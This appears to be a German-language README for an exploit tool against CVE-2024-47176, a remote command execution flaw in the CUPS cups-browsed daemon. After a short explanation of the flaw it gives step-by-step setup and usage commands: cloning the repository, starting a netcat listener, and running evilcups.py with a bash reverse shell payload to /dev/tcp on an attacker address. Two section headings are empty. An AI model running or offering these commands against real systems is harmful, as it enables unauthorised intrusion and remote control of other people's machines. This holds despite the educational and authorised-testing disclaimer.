CVE-2024-47176 — Remote-Befehlsausführung in CUPS

Nur für Bildungszwecke und autorisierte Penetrationstests.

Inhaltsverzeichnis

• Beschreibung
• Betroffene Systeme
• Verwandte CVEs
• Voraussetzungen
• Einrichtung
• Verwendung
• Haftungsausschluss

Beschreibung

CUPS (Common UNIX Printing System) ist ein Open-Source-Drucksystem, das vernetzte Drucker verwaltet. CVE-2024-47176 zielt auf den cups-browsed-Daemon ab, der an INADDR_ANY:631 bindet und Paketen aus jeder Quelle blind vertraut.

Durch das Erstellen eines bösartigen UDP-Pakets, das eine Get-Printer-Attributes-IPP-Anforderung auslöst, kann ein Angreifer bewirken, dass cups-browsed eine Verbindung zu einem angreifergesteuerten Server herstellt – und in Kombination mit den untenstehenden Schwachstellen eine beliebige Remote-Befehlsausführung erreicht.

Betroffene Systeme

Verwandte CVEs

Voraussetzungen

• Zielmaschine mit freigegebenem Port 631 (IPP/UDP)
• Python 3.x auf Ihrem Angriffsrechner
• nmap (optional, zur Aufklärung)
• Ein Netcat-Listener für die Reverse Shell

Einrichtung

1. Repository klonen:

git clone https://github.com/gumerzzzindo/cve-2024-47176.git
cd cve-2024-47176

2. Erforderliche Python-Abhängigkeit installieren:

pip install ippserver

3. Einen Listener auf Ihrem Rechner starten:

nc -lvnp <PORT>

Verwendung

./evilcups.py <ATTACKER_IP> <TARGET_IP> "<COMMAND>"

Beispiel – Reverse Shell:

./evilcups.py 10.10.10.10 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'"

Nach dem Ausführen des Exploits lösen Sie einen Druckauftrag auf dem Ziel aus (oder warten Sie auf eine automatische Überprüfung), um die Nutzlast auszuführen.

Haftungsausschluss

Dieses Repository ist ausschließlich für Bildungszwecke und autorisierte Sicherheitsforschung gedacht. Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist illegal und unethisch.